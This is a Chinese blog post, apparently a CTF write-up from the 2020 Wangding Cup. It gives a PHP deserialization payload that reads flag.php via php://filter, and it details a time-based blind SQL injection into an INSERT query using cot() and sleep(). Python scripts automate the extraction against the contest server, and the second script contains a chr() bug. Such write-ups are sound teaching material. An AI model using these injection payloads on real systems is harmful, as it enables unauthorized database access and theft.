MYBLOG

2020网鼎杯Writeup+闲扯

2020-05-10 13:32:33ans

这是我打的最难受的一次比赛,最后一分钟脚本跑出flag居然是错的,导致队伍没进线下……

唉,归根结底还是自己太菜,这样的结果实在太难顶了

这回web放的很晚,中午才放,一共就看了俩题,两个还都挺奇怪的

第一个题打开之后给了源码:

  1. <?php
  2. include("flag.php");
  3. highlight_file(__FILE__);
  4. class FileHandler {
  5. protected $op;
  6. protected $filename;
  7. protected $content;
  8. function __construct() {
  9. $op = "1";
  10. $filename = "/tmp/tmpfile";
  11. $content = "Hello World!";
  12. $this->process();
  13. }
  14. public function process() {
  15. if($this->op == "1") {
  16. $this->write();
  17. } else if($this->op == "2") {
  18. $res = $this->read();
  19. $this->output($res);
  20. } else {
  21. $this->output("Bad Hacker!");
  22. }
  23. }
  24. private function write() {
  25. if(isset($this->filename) && isset($this->content)) {
  26. if(strlen((string)$this->content) > 100) {
  27. $this->output("Too long!");
  28. die();
  29. }
  30. $res = file_put_contents($this->filename, $this->content);
  31. if($res) $this->output("Successful!");
  32. else $this->output("Failed!");
  33. } else {
  34. $this->output("Failed!");
  35. }
  36. }
  37. private function read() {
  38. $res = "";
  39. if(isset($this->filename)) {
  40. $res = file_get_contents($this->filename);
  41. }
  42. return $res;
  43. }
  44. private function output($s) {
  45. echo "[Result]: <br>";
  46. echo $s;
  47. }
  48. function __destruct() {
  49. if($this->op === "2")
  50. $this->op = "1";
  51. $this->content = "";
  52. $this->process();
  53. }
  54. }
  55. function is_valid($s) {
  56. for($i = 0; $i < strlen($s); $i++)
  57. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  58. return false;
  59. return true;
  60. }
  61. if(isset($_GET{'str'})) {
  62. $str = (string)$_GET['str'];
  63. if(is_valid($str)) {
  64. $obj = unserialize($str);
  65. }
  66. }

首先看见的是protected类型的成员变量,反序列化的话成员名的字符串会在头部添加””\00*\00”的字样,但是这部分代码把\0给过滤掉了

  1. function is_valid($s) {
  2. for($i = 0; $i < strlen($s); $i++)
  3. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
  4. return false;
  5. return true;
  6. }

尝试了很久也没能绕过去,无论怎么写都是”Bad Hacker”,第一步都过不去

后来得知payload是:

  1. O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";s:0:"";}

???

这不是public类型的成员变量的反序列化写法吗?

然后试着打了一下:

image-20200510142112641

还真成了。。

然而这个方法在本地都无法复现。。实在不清楚背后的原理,也可能是展示出来的代码和实际服务端的代码并不一致吧

第二题是道sql注入,也就是造成悲剧的罪魁祸首。。

打开是个注册页面

image-20200510203045377

注册完了会有两个回显,一是Success,二是Mysql Error,分别代表成功注册和执行出错

Y8UfgA.png

Y8UhjI.png

试了下,过滤了#和—,但是可以用or ‘1’=’1闭合:

Y8U5ut.png

那么这道题思路就比较清晰了,构造一个盲注查询语句,使其正确(或错误)时返回Success,反之则触发语法错误或其他错误造成Mysql Error的回显,这样构成盲注

本以为是道简单题,但是查询了若干次之后突然回显发生变化:

Y8U7E8.png

原来没执行一次都会Insert一个记录,而row size限制了最大值为20,也就是插20次就没法继续查了

20次肯定是没法查完flag的,所以要改变查询的思路:

1.必须做到能够查20次以上,所以考虑有两种方法,一是查一次删一次,这个显然不太现实,二是构造错误使得查询可以执行但是插入操作失败

2.既然每次插入操作都要失败,那么就无法通过Success和Mysql Error来盲注了,所以要引入时间盲注

3.综合上面两条,思路就出来了:

(1)查询结果为真(假),则延时3秒,同时要执行出错使得插入无法正确执行

(2)查询结果为假(真),则无延时,同时要执行出错使得插入无法正确执行

首先让插入无法正确执行必须是“执行出错”,而非“语法出错”,因为语法错无论怎样都会返回错误,也不会执行查询和延时。

怎样才能做到这一点呢,使执行出错而语法正确的方式有很多,比较简单的有下面几种:

  1. 整数溢出:cot(0),pow(999999,999999),exp(710)
  2. 几何函数:polygon(ans),linestring(ans)

想通过报错与否进行盲注可有如下语句:

select * from xxx where ‘1’=’1’ and 表达式 or cot(0)

如果表达式为真,由于or的判断规则,不会去解析cot(0)

Y8UHUS.png

如果表达式为假,则要判断cot(0)的真假,于是就会报错:

Y8Ub4g.png

可用这个简单的方式进行报错的盲注。

但是要进行sleep(x)的话,这种方式就很难了,用select * from xxx where ‘1’=’1’ and sleep(0) or cot(0)是无法延时的。

但是sleep()本身是有返回值的,它的返回值为0,所以也许可以通过这一点来构造语句。

如果以cot(表达式)的形式来进行盲注的话,那么恰好可以满足我们之前的需求。

我们只要让表达式的值恒为0,则可保证不插入数据,且表达式中的sleep(x)是必然会执行来得到返回值的。

Y8ULCQ.png

我们只要设置if(表达式,sleep(3),0),就可以使返回值必然为0,且在表达式为真时延时3秒。

以此方式去注入,很快能得到数据库名为’ctf’,但是再往下获得表名的时候过滤了information_schema.tables。

insert into xxx values(‘1’ and cot(if(select table_name from information_schema.tables where table_schema=database() LIMIT 1,1) like “%”,sleep(3),0)) and ‘1’=’1’,’asd’);

通常情况下,能代替information_schema.tables的有以下几种:

  1. innodb_table_statsinnodb_index_statsMysql5.7Innodb引擎会将表、键的信息记录在这两张表中
  2. sys.schema_table_statistics_with_buffersys.schema_auto_increment_columns:查询表统计信息,可能存在表名

尝试绕过:

insert into users values(‘1’ and cot(if(select table_name from sys.schema_auto_increment_columns where table_schema=database() LIMIT 1,1) like “%”,sleep(3),0)) and ‘1’=’1’,’asd’,’asd’,’asd’,’asd’);

上述方法均无法延时,比赛时一直不懂,后来明白了原因:这些表都是空表,所以表达式为假,不执行sleep(3)

所以只能猜flag表名,用别名代替列名的方式去注入:

  1. username=1' and cot(if(ascii(mid((select `2` from (select 1,2 union select * from flag)b limit 1,1),1,1))>0,sleep(3),0)) and '1'='1&password='asd'

成功延时。

于是可写脚本注入:

  1. import requests
  2. import datetime
  3. import sys
  4. name=''
  5. url = "http://1478f8b621c445498bb63495ceb4ff430fe7591a22e34db6.cloudgame1.ichunqiu.com/register_do.php"
  6. for j in range(1, 100):
  7. for i in range(32,127):
  8. payload = "1' and cot(if(ascii(mid((select `2` from (select 1,2 union select * from flag)b limit 1,1),%d,1))=%d,sleep(3),0)) and '1'='1" % (j,i)
  9. start_time = datetime.datetime.now()
  10. res = requests.post(url=url, data={'username': payload, 'password': 'asd'})
  11. end_time = datetime.datetime.now()
  12. interval = (end_time - start_time).seconds
  13. if interval > 2 :
  14. print(chr(i))
  15. name += chr(i)
  16. break
  17. print(name)

比赛时最后还有十几分钟的时候才找到了成功的payload,写优化脚本已经来不及了

还好在最后1分钟跑出了完整的flag,当时只要做出这道题就能一下前进100多名进入线下,本以为稳了,跑出结果:

flag{d662be48-6616-421d-97e8-b0c8876fe15bc}

立刻提交——

“答案错误。”

???!!!!纳尼???!!!

还剩一分钟,重新跑一遍已经来不及了……

就这么……无缘线下了。

淦!

最后比赛结束后,不甘心的我又跑了一遍,得到了这个结果:

flag{d662be48-6616-421d-97e8-b0c886fe15bc}

比上面少了一个7,那个7大概是因为网络不稳定导致延时比较大算进去了吧……

不过这次也买了个教训,经协会方方大佬的指导,对脚本作了一点改进,完全不用便利ascii码表,只把可能的字符”abcdef1234567980-_{}”遍历一遍即可,能大大加快速度:

  1. import requests
  2. import datetime
  3. import sys
  4. name=''
  5. url = "http://1478f8b621c445498bb63495ceb4ff430fe7591a22e34db6.cloudgame1.ichunqiu.com/register_do.php"
  6. for j in range(1, 100):
  7. for i in "abcdef1234567890_-{}":
  8. payload = "1' and cot(if(ascii(mid((select `2` from (select 1,2 union select * from flag)b limit 1,1),%d,1))=%d,sleep(3),0)) and '1'='1" % (j,ord(i))
  9. start_time = datetime.datetime.now()
  10. res = requests.post(url=url, data={'username': payload, 'password': 'asd'})
  11. end_time = datetime.datetime.now()
  12. interval = (end_time - start_time).seconds
  13. if interval > 2 :
  14. print(chr(i))
  15. name += chr(i)
  16. break
  17. print(name)

唉,这次经历还是很难受。。就差一点点,接下来就要全力准备考研了,也没有多少时间去打ctf了,真的蛮可惜的。

全部留言 0